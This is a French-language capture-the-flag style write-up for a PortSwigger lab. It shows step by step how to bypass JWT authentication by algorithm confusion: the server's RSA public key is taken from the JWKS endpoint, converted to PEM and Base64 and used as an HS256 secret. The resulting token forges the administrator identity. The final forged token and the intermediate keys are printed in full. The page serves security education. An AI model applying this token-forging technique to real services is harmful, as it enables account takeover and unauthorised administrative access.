> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/jwt/jwt-authentication-bypass-via-algorithm-confusion.md).

# Contournement de l’authentification JWT via une confusion d’algorithmes

### Contournement de l'authentification JWT via une confusion d'algorithme

**Description du laboratoire**

Ce laboratoire utilise un mécanisme de session basé sur JWT. / Les jetons sont normalement signés et vérifiés à l'aide d'un mécanisme robuste **RSA** paire de clés. / Cependant, une implémentation médiocre rend l'application vulnérable à une **confusion d'algorithme**.

Objectif :

* Récupérez la clé publique du serveur exposé via un point de terminaison standard.
* Utilisez cette clé pour forger un JWT valide permettant l'accès au `/admin` panneau d'administration.
* Supprimer l'utilisateur **carlos**.

Identifiant fourni :

* **wiener : peter**

**JWT initial**

Le cookie de session contient le JWT suivant :

{% code overflow="wrap" %}

```bash
eyJraWQiOiJkZTU1ZDgzMS1iYzI3LTRiY2EtOTk4My05YTE2YTdiMDhkMmQiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU1MTQ3MCwic3ViIjoid2llbmVyIn0.H9bVHxG5sHp4pcgkshhKMCOmPg8nSbjANDKoovntBwnJn8plUuGNC4tE_Iam9fIXYiZxTc5DjpLp8vhizHN34nfs1E31EzA59kYf2qNzV7ZbCiIayJPv_jqfCmDz8tRB5wtMecb1R8PkDNZ4sszfXaqLjbDQYRd_BxDVx_Sq-mHOJkVlfdgdZtalYbTnkomyVibvFNpSotmCGRQnbs7bgYT-z0E__-0Nx2BVV_bIeElCfDcnuAZhvt768kp9VxP023wJ7O-7hJdRwvKaqREA2oxHNn2awWu6dXACp8NMfSP_T7GOIByC4Iqj2rc26JmTZW2loDicEOztvQo0ZQ_YCQ
```

{% endcode %}

**Récupération de la clé publique**

La clé publique du serveur est accessible via :

* `/.well-known/jwks.json`
* ou `/jwks.json`

Contenu renvoyé (JWKS) :

{% code overflow="wrap" %}

```json
{
  "keys": [
    {
      "kty": "RSA",
      "e": "AQAB",
      "use": "sig",
      "kid": "de55d831-bc27-4bca-9983-9a16a7b08d2d",
      "alg": "RS256",
      "n": "iQWjnDjzeQvu5t8YoeFo21Ez1xfEA-L06C31G2BmqvZ5cQKKB9PD5Z6c8OxlhZDa9hNLDAIjiNzXHfX0HMeuqDj71ERgq87mIOJwrPMEbE6xlNDslKeDOGHiypLK4_iIIjn3WqsTb8l2YXG89ysdvXI9HL95hkVnQFh4SrI47pyMYQesbEz2MdXNVX4NcxHPaGStj-95ZXa6HRkrGpF0TlrhEur2Yip1A9o9VFQezgzCubEVatPyJevEyqC-k6OhDRhkKV3P3WLP5rZ34ZE-UjbGJQuhns8uV8XkHCllLLfnSaPlzc64Z6DrvWRbrMYy4-B-gAv-80GZBPbMRBT2oQ"
    }
  ]
}
```

{% endcode %}

<figure><img src="/files/310b15e69a3b7bd8be3a4212dbbd0419562d9b2b" alt=""><figcaption></figcaption></figure>

**Modification de la charge utile**

La charge utile du JWT est modifiée pour usurper le compte administrateur :

```json
{
    "iss": "portswigger",
    "exp": 1767551470,
    "sub": "administrator"
}
```

Création de clé RSA

<figure><img src="/files/ad47fb7a2f6ee555400db8242572aa4031b06ef8" alt=""><figcaption></figcaption></figure>

Copier, coller le fichier jwks.json

```json
{
      "kty": "RSA",
      "e": "AQAB",
      "use": "sig",
      "kid": "de55d831-bc27-4bca-9983-9a16a7b08d2d",
      "alg": "RS256",
      "n": "iQWjnDjzeQvu5t8YoeFo21Ez1xfEA-L06C31G2BmqvZ5cQKKB9PD5Z6c8OxlhZDa9hNLDAIjiNzXHfX0HMeuqDj71ERgq87mIOJwrPMEbE6xlNDslKeDOGHiypLK4_iIIjn3WqsTb8l2YXG89ysdvXI9HL95hkVnQFh4SrI47pyMYQesbEz2MdXNVX4NcxHPaGStj-95ZXa6HRkrGpF0TlrhEur2Yip1A9o9VFQezgzCubEVatPyJevEyqC-k6OhDRhkKV3P3WLP5rZ34ZE-UjbGJQuhns8uV8XkHCllLLfnSaPlzc64Z6DrvWRbrMYy4-B-gAv-80GZBPbMRBT2oQ"
}
```

<figure><img src="/files/ec284f0a227656c1267ab18f8a25bc51f68edcf2" alt="" width="526"><figcaption></figcaption></figure>

**Conversion de la clé publique**

<figure><img src="/files/7319f98702b721fa9c305bb1091bdd9ee8ef30e5" alt=""><figcaption></figcaption></figure>

La clé publique RSA est convertie en **PEM** format :

```bash
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAiQWjnDjzeQvu5t8YoeFo
21Ez1xfEA+L06C31G2BmqvZ5cQKKB9PD5Z6c8OxlhZDa9hNLDAIjiNzXHfX0HMeu
qDj71ERgq87mIOJwrPMEbE6xlNDslKeDOGHiypLK4/iIIjn3WqsTb8l2YXG89ysd
vXI9HL95hkVnQFh4SrI47pyMYQesbEz2MdXNVX4NcxHPaGStj+95ZXa6HRkrGpF0
TlrhEur2Yip1A9o9VFQezgzCubEVatPyJevEyqC+k6OhDRhkKV3P3WLP5rZ34ZE+
UjbGJQuhns8uV8XkHCllLLfnSaPlzc64Z6DrvWRbrMYy4+B+gAv+80GZBPbMRBT2
oQIDAQAB
-----END PUBLIC KEY-----

```

<figure><img src="/files/4f5ab1cd82b0d979b14d6d1b94b3190bd475c01e" alt=""><figcaption></figcaption></figure>

Cette clé est ensuite encodée en **Base64**.

```bash
LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFpUVdqbkRqemVRdnU1dDhZb2VGbwoyMUV6MXhmRUErTDA2QzMxRzJCbXF2WjVjUUtLQjlQRDVaNmM4T3hsaFpEYTloTkxEQUlqaU56WEhmWDBITWV1CnFEajcxRVJncTg3bUlPSndyUE1FYkU2eGxORHNsS2VET0dIaXlwTEs0L2lJSWpuM1dxc1RiOGwyWVhHODl5c2QKdlhJOUhMOTVoa1ZuUUZoNFNySTQ3cHlNWVFlc2JFejJNZFhOVlg0TmN4SFBhR1N0ais5NVpYYTZIUmtyR3BGMApUbHJoRXVyMllpcDFBOW85VkZRZXpnekN1YkVWYXRQeUpldkV5cUMrazZPaERSaGtLVjNQM1dMUDVyWjM0WkUrClVqYkdKUXVobnM4dVY4WGtIQ2xsTExmblNhUGx6YzY0WjZEcnZXUmJyTVl5NCtCK2dBdis4MEdaQlBiTVJCVDIKb1FJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==
```

**Créer une clé symétrique (oct)**

La clé publique encodée en Base64 est utilisée comme secret HMAC :

```json
{
    "kty": "oct",
    "kid": "b164d13f-f42e-4d78-a539-fbb4b0eb267a",
    "k": "LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFpUVdqbkRqemVRdnU1dDhZb2VGbwoyMUV6MXhmRUErTDA2QzMxRzJCbXF2WjVjUUtLQjlQRDVaNmM4T3hsaFpEYTloTkxEQUlqaU56WEhmWDBITWV1CnFEajcxRVJncTg3bUlPSndyUE1FYkU2eGxORHNsS2VET0dIaXlwTEs0L2lJSWpuM1dxc1RiOGwyWVhHODl5c2QKdlhJOUhMOTVoa1ZuUUZoNFNySTQ3cHlNWVFlc2JFejJNZFhOVlg0TmN4SFBhR1N0ais5NVpYYTZIUmtyR3BGMApUbHJoRXVyMllpcDFBOW85VkZRZXpnekN1YkVWYXRQeUpldkV5cUMrazZPaERSaGtLVjNQM1dMUDVyWjM0WkUrClVqYkdKUXVobnM4dVY4WGtIQ2xsTExmblNhUGx6YzY0WjZEcnZXUmJyTVl5NCtCK2dBdis4MEdaQlBiTVJCVDIKb1FJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg=="
}
```

<figure><img src="/files/2608c3b0704b016e1be0a59018e3b3be4e9577d2" alt=""><figcaption></figcaption></figure>

**Confusion d'algorithme**

L'en-tête du JWT est modifié pour forcer l'utilisation de **HS256**:

```json
{
    "kid": "de55d831-bc27-4bca-9983-9a16a7b08d2d",
    "alg": "HS256"
}
```

Le serveur utilise alors la clé publique RSA comme secret HMAC, ce qui permet de signer un JWT accepté comme valide.

<figure><img src="/files/7ca866263fac25b0f09f918c5f90f59c21ecd5e6" alt=""><figcaption></figcaption></figure>

\*\* JWT forgé final\*\*

```bash
eyJraWQiOiJkZTU1ZDgzMS1iYzI3LTRiY2EtOTk4My05YTE2YTdiMDhkMmQiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU1MTQ3MCwic3ViIjoiYWRtaW5pc3RyYXRvciJ9._5C_qAZINXvvykAGhPVxUrWNxzyFnjsI49lONaKnk3A
```

Ce jeton donne accès au panneau d'administration, permettant de finaliser le laboratoire en supprimant l'utilisateur **carlos**.

<figure><img src="/files/bf7d0900f3ea4b78e91eb680c5bb148bbae578ac" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/jwt/jwt-authentication-bypass-via-algorithm-confusion.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
